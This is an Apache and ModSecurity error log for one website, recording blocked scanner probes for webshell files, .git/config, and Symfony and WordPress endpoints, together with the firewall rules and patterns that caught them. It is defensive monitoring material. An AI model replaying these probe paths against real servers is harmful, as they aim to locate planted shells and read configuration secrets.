[Tue Feb 24 22:28:48.085055 2026] [:error] [pid 40455:tid 40476] [client 68.221.137.35:9966] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/reyna.php"] [unique_id "aZ21oFw13ca9RV2qrBmHEgAAAVA"]
[Tue Feb 24 22:28:48.796280 2026] [:error] [pid 40456:tid 40508] [client 68.221.137.35:1137] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/reyna.php"] [unique_id "aZ21oOP0ojUS1IXv0AXLYAAAAZU"]
[Tue Feb 24 22:28:49.499941 2026] [:error] [pid 40455:tid 40464] [client 68.221.137.35:2757] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yee.php"] [unique_id "aZ21oVw13ca9RV2qrBmHFAAAAUQ"]
[Tue Feb 24 22:28:50.215269 2026] [:error] [pid 37784:tid 37797] [client 68.221.137.35:9962] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yee.php"] [unique_id "aZ21ohhsjFGJ0bR81bdvtgAAAos"]
[Tue Feb 24 22:28:50.794034 2026] [:error] [pid 37784:tid 37786] [client 68.221.137.35:27116] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yee.php"] [unique_id "aZ21ohhsjFGJ0bR81bdvtwAAAoA"]
[Tue Feb 24 22:28:51.433762 2026] [:error] [pid 40393:tid 40416] [client 68.221.137.35:5066] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yee.php"] [unique_id "aZ21o7DZWhNc1DniCm3WwQAAAFE"]
[Tue Feb 24 22:28:52.172058 2026] [:error] [pid 40394:tid 40442] [client 68.221.137.35:35499] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dev.php"] [unique_id "aZ21pODlibHIQ-y0MaSBdgAAAI8"]
[Tue Feb 24 22:28:52.821526 2026] [:error] [pid 40394:tid 40435] [client 68.221.137.35:4864] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dev.php"] [unique_id "aZ21pODlibHIQ-y0MaSBdwAAAIg"]
[Tue Feb 24 22:28:53.461553 2026] [:error] [pid 40455:tid 40465] [client 68.221.137.35:2794] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dev.php"] [unique_id "aZ21pVw13ca9RV2qrBmHFwAAAUU"]
[Tue Feb 24 22:28:54.094156 2026] [:error] [pid 34018:tid 34062] [client 68.221.137.35:7973] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dev.php"] [unique_id "aZ21phGkEvccktzDf_itKQAAANI"]
[Tue Feb 24 22:28:54.616618 2026] [:error] [pid 40393:tid 40404] [client 68.221.137.35:31661] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sh.php"] [unique_id "aZ21prDZWhNc1DniCm3WwgAAAEU"]
[Tue Feb 24 22:28:55.524235 2026] [:error] [pid 35061:tid 35087] [client 68.221.137.35:4873] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sh.php"] [unique_id "aZ21pyTtNYeQS_BngHwCYQAAARQ"]
[Tue Feb 24 22:28:56.228747 2026] [:error] [pid 40393:tid 40413] [client 68.221.137.35:1115] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sh.php"] [unique_id "aZ21qLDZWhNc1DniCm3WxAAAAE4"]
[Tue Feb 24 22:28:56.899553 2026] [:error] [pid 37784:tid 37803] [client 68.221.137.35:4923] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sh.php"] [unique_id "aZ21qBhsjFGJ0bR81bdvugAAApE"]
[Tue Feb 24 22:28:57.587919 2026] [:error] [pid 37918:tid 37937] [client 68.221.137.35:4321] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ef.php"] [unique_id "aZ21qTB7WIlOit9GZHhH1gAAA40"]
[Tue Feb 24 22:28:58.134897 2026] [:error] [pid 40456:tid 40498] [client 68.221.137.35:35514] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ef.php"] [unique_id "aZ21quP0ojUS1IXv0AXLZAAAAYs"]
[Tue Feb 24 22:28:58.799661 2026] [:error] [pid 40456:tid 40507] [client 68.221.137.35:6981] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ef.php"] [unique_id "aZ21quP0ojUS1IXv0AXLZgAAAZQ"]
[Tue Feb 24 22:28:59.431022 2026] [:error] [pid 40456:tid 40511] [client 68.221.137.35:31627] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ef.php"] [unique_id "aZ21q-P0ojUS1IXv0AXLaAAAAZg"]
[Wed Feb 25 02:14:49.828184 2026] [:error] [pid 18447:tid 18775] [client 165.227.53.4:49412] [client 165.227.53.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/config/security.yml" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/app/config/security.yml"] [unique_id "aZ3qmc-TpHVc8yBj5ea3jgAAAgw"]
[Wed Feb 25 02:16:00.789784 2026] [:error] [pid 18458:tid 18795] [client 165.227.53.4:49746] [client 165.227.53.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/config/services.yml" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/src/Resources/config/services.yml"] [unique_id "aZ3q4Auir-tBe4tUismTAQAAAoI"]
[Wed Feb 25 02:16:13.825182 2026] [:error] [pid 18447:tid 18778] [client 165.227.53.4:51082] [client 165.227.53.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/config/parameters.yml" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/config/parameters.yml"] [unique_id "aZ3q7c-TpHVc8yBj5ea4AAAAAg8"]
[Wed Feb 25 02:16:17.614077 2026] [proxy_fcgi:error] [pid 18458:tid 18793] [client 165.227.53.4:51720] AH01071: Got error 'Primary script unknown'
[Wed Feb 25 02:16:21.423178 2026] [:error] [pid 18458:tid 18804] [client 165.227.53.4:51720] [client 165.227.53.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/_profiler/open"] [unique_id "aZ3q9Quir-tBe4tUismTKgAAAoo"]
[Wed Feb 25 02:16:23.275514 2026] [:error] [pid 26872:tid 26888] [client 165.227.53.4:52036] [client 165.227.53.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/_profiler/open"] [unique_id "aZ3q93xLbzvRGuzwKjn42gAAAE4"]
[Wed Feb 25 02:16:26.017637 2026] [:error] [pid 18441:tid 18708] [client 165.227.53.4:52142] [client 165.227.53.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/_profiler/open"] [unique_id "aZ3q-hYF1wpOnXIaHlOdpQAAAMA"]
[Wed Feb 25 02:16:29.782748 2026] [:error] [pid 18458:tid 18802] [client 165.227.53.4:52264] [client 165.227.53.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/debug/default/view"] [unique_id "aZ3q_Quir-tBe4tUismTNAAAAog"]
[Wed Feb 25 02:16:31.597765 2026] [:error] [pid 18441:tid 18713] [client 165.227.53.4:52409] [client 165.227.53.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/debug/default/view"] [unique_id "aZ3q_xYF1wpOnXIaHlOdsQAAAMU"]
[Wed Feb 25 02:16:34.355647 2026] [:error] [pid 26872:tid 26884] [client 165.227.53.4:52505] [client 165.227.53.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/web/debug/default/view"] [unique_id "aZ3rAnxLbzvRGuzwKjn5BQAAAEo"]
[Wed Feb 25 02:16:37.105967 2026] [:error] [pid 18850:tid 18871] [client 165.227.53.4:52658] [client 165.227.53.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/web/debug/default/view"] [unique_id "aZ3rBeDBmHucoAJRnqkMTAAAABM"]
[Wed Feb 25 05:31:34.002425 2026] [:error] [pid 5620:tid 5681] [client 216.73.216.37:22870] [client 216.73.216.37] ModSecurity: Warning. Pattern match "^$" at REQUEST_HEADERS:user-agent. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "120"] [id "217240"] [rev "3"] [msg "COMODO WAF: Empty User Agent Header||agraphics.com.au|F|5"] [data "REQUEST_HEADERS:user-agent="] [severity "NOTICE"] [tag "CWAF"] [tag "Protocol"] [hostname "agraphics.com.au"] [uri "/robots.txt"] [unique_id "aZ4YtoY2LQjtieeRkoaovQAAAxI"]
[Wed Feb 25 06:29:54.349698 2026] [:error] [pid 5620:tid 5675] [client 212.105.142.209:2712] [client 212.105.142.209] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.105.142.209, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aZ4mYoY2LQjtieeRkobaIgAAAw0"]
[Wed Feb 25 06:29:54.362875 2026] [proxy_fcgi:error] [pid 5620:tid 5675] [client 212.105.142.209:2712] AH01071: Got error 'Primary script unknown'
[Wed Feb 25 09:11:38.577490 2026] [:error] [pid 5556:tid 5603] [client 91.245.236.173:11845] [client 91.245.236.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.245.236.173, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aZ5MSqOrYeaTyh7lGRVh5gAAAdA"]
[Wed Feb 25 09:11:38.588890 2026] [proxy_fcgi:error] [pid 5556:tid 5603] [client 91.245.236.173:11845] AH01071: Got error 'Primary script unknown'
[Wed Feb 25 09:11:40.062348 2026] [:error] [pid 5556:tid 5602] [client 91.245.236.173:28813] [client 91.245.236.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.245.236.173, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aZ5MTKOrYeaTyh7lGRVh7AAAAc8"]
[Wed Feb 25 09:11:40.067879 2026] [proxy_fcgi:error] [pid 5556:tid 5602] [client 91.245.236.173:28813] AH01071: Got error 'Primary script unknown'
[Wed Feb 25 09:11:41.541039 2026] [:error] [pid 5556:tid 5593] [client 91.245.236.173:18375] [client 91.245.236.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.245.236.173, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aZ5MTaOrYeaTyh7lGRVh9wAAAcY"]
[Wed Feb 25 09:11:41.546568 2026] [proxy_fcgi:error] [pid 5556:tid 5593] [client 91.245.236.173:18375] AH01071: Got error 'Primary script unknown'
[Wed Feb 25 09:11:44.483070 2026] [:error] [pid 60498:tid 60527] [client 193.31.126.109:53295] [client 193.31.126.109] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.31.126.109, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aZ5MUCFCVhQ3ffus0uKX7gAAAtY"]
[Wed Feb 25 09:11:44.487350 2026] [proxy_fcgi:error] [pid 60498:tid 60527] [client 193.31.126.109:53295] AH01071: Got error 'Primary script unknown'
[Wed Feb 25 09:20:14.391430 2026] [:error] [pid 60387:tid 60496] [client 91.245.236.174:49049] [client 91.245.236.174] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.245.236.174, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aZ5OToHL0QH7Sr13X0LB6QAAApg"]
[Wed Feb 25 09:20:14.404689 2026] [proxy_fcgi:error] [pid 60387:tid 60496] [client 91.245.236.174:49049] AH01071: Got error 'Primary script unknown'
[Wed Feb 25 09:20:15.877666 2026] [:error] [pid 20659:tid 20715] [client 91.245.236.174:14097] [client 91.245.236.174] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.245.236.174, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aZ5OTz_THK_HtK-Q44IvrQAAAFQ"]
[Wed Feb 25 09:20:15.883065 2026] [proxy_fcgi:error] [pid 20659:tid 20715] [client 91.245.236.174:14097] AH01071: Got error 'Primary script unknown'
[Wed Feb 25 09:20:17.356101 2026] [:error] [pid 20659:tid 20713] [client 91.245.236.174:46701] [client 91.245.236.174] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.245.236.174, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aZ5OUT_THK_HtK-Q44IvsgAAAFI"]
[Wed Feb 25 09:20:17.361336 2026] [proxy_fcgi:error] [pid 20659:tid 20713] [client 91.245.236.174:46701] AH01071: Got error 'Primary script unknown'
[Wed Feb 25 09:20:19.306821 2026] [:error] [pid 5619:tid 5642] [client 45.66.208.30:17295] [client 45.66.208.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.66.208.30, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aZ5OU5FUzdv-0L_F4fv1tQAAAgc"]
[Wed Feb 25 09:20:19.311552 2026] [proxy_fcgi:error] [pid 5619:tid 5642] [client 45.66.208.30:17295] AH01071: Got error 'Primary script unknown'
[Wed Feb 25 13:19:56.310714 2026] [:error] [pid 5556:tid 5591] [client 34.227.99.251:52281] [client 34.227.99.251] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aZ6GfKOrYeaTyh7lGRWzFgAAAcQ"]
[Wed Feb 25 13:19:57.575648 2026] [:error] [pid 20763:tid 20787] [client 34.227.99.251:52360] [client 34.227.99.251] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aZ6GfU0w_zc13OX-xiYEFwAAANY"]
[Wed Feb 25 16:16:39.530186 2026] [:error] [pid 60500:tid 60609] [client 114.198.138.124:61430] [client 114.198.138.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 114.198.138.124, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aZ6v5_Y9avxuno9KAT84UgAAA1Y"]
[Wed Feb 25 16:16:39.541435 2026] [proxy_fcgi:error] [pid 60500:tid 60609] [client 114.198.138.124:61430] AH01071: Got error 'Primary script unknown'
[Wed Feb 25 21:09:20.284817 2026] [:error] [pid 60387:tid 60488] [client 60.111.52.180:61575] [client 60.111.52.180] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 60.111.52.180, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aZ70gIHL0QH7Sr13X0KCRQAAApA"]
[Wed Feb 25 21:09:20.296731 2026] [proxy_fcgi:error] [pid 60387:tid 60488] [client 60.111.52.180:61575] AH01071: Got error 'Primary script unknown'
[Wed Feb 25 22:22:05.457547 2026] [proxy_fcgi:error] [pid 5556:tid 5603] [client 87.106.209.183:52776] AH01071: Got error 'Primary script unknown', referer: www.google.com
[Wed Feb 25 22:22:17.254162 2026] [proxy_fcgi:error] [pid 60498:tid 60528] [client 87.106.209.183:62080] AH01071: Got error 'Primary script unknown', referer: www.google.com
[Wed Feb 25 22:22:31.824082 2026] [proxy_fcgi:error] [pid 60387:tid 60483] [client 87.106.209.183:57941] AH01071: Got error 'Primary script unknown', referer: www.google.com
[Wed Feb 25 22:22:44.453507 2026] [proxy_fcgi:error] [pid 60387:tid 60474] [client 87.106.209.183:53926] AH01071: Got error 'Primary script unknown', referer: www.google.com
[Wed Feb 25 23:59:04.736829 2026] [:error] [pid 60290:tid 60315] [client 178.128.109.224:52531] [client 178.128.109.224] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.128.109.224, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aZ8cSDPwSUztcPyiofq7XgAAARc"]
[Wed Feb 25 23:59:04.747356 2026] [proxy_fcgi:error] [pid 60290:tid 60315] [client 178.128.109.224:52531] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 08:29:18.801127 2026] [proxy_fcgi:error] [pid 55122:tid 55139] [client 20.104.230.73:57801] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 08:29:19.040315 2026] [proxy_fcgi:error] [pid 55122:tid 55128] [client 20.104.230.73:57801] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:16:46.427061 2026] [proxy_fcgi:error] [pid 55051:tid 55061] [client 20.100.197.204:6991] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:16:46.693950 2026] [proxy_fcgi:error] [pid 55051:tid 55072] [client 20.100.197.204:6991] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:16:46.962506 2026] [proxy_fcgi:error] [pid 55051:tid 55065] [client 20.100.197.204:6991] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:16:47.228763 2026] [proxy_fcgi:error] [pid 55051:tid 55076] [client 20.100.197.204:6991] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:16:48.818719 2026] [proxy_fcgi:error] [pid 55051:tid 55073] [client 20.100.197.204:6991] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:16:49.079036 2026] [:error] [pid 55051:tid 55068] [client 20.100.197.204:6991] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aZ-tEQmK1w2kZvh5eLG78AAAAI4"]
[Thu Feb 26 10:16:49.730714 2026] [:error] [pid 54990:tid 54997] [client 20.100.197.204:36295] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aZ-tEXtr2qmt_mBhH2zG_wAAAAQ"]
[Thu Feb 26 10:16:50.690569 2026] [:error] [pid 54991:tid 55042] [client 20.100.197.204:36310] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aZ-tEt4Zx-mJ8gbRB2hvkwAAAFY"]
[Thu Feb 26 10:16:51.888252 2026] [:error] [pid 54990:tid 55014] [client 20.100.197.204:21842] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aZ-tE3tr2qmt_mBhH2zHBQAAABU"]
[Thu Feb 26 10:16:52.736134 2026] [:error] [pid 25311:tid 25321] [client 20.100.197.204:21879] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aZ-tFNfdM__yZAgJFSszcQAAAYc"]
[Thu Feb 26 10:16:53.385885 2026] [:error] [pid 55618:tid 55645] [client 20.100.197.204:47997] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aZ-tFR61Vrh12f_8oWQsBQAAARg"]
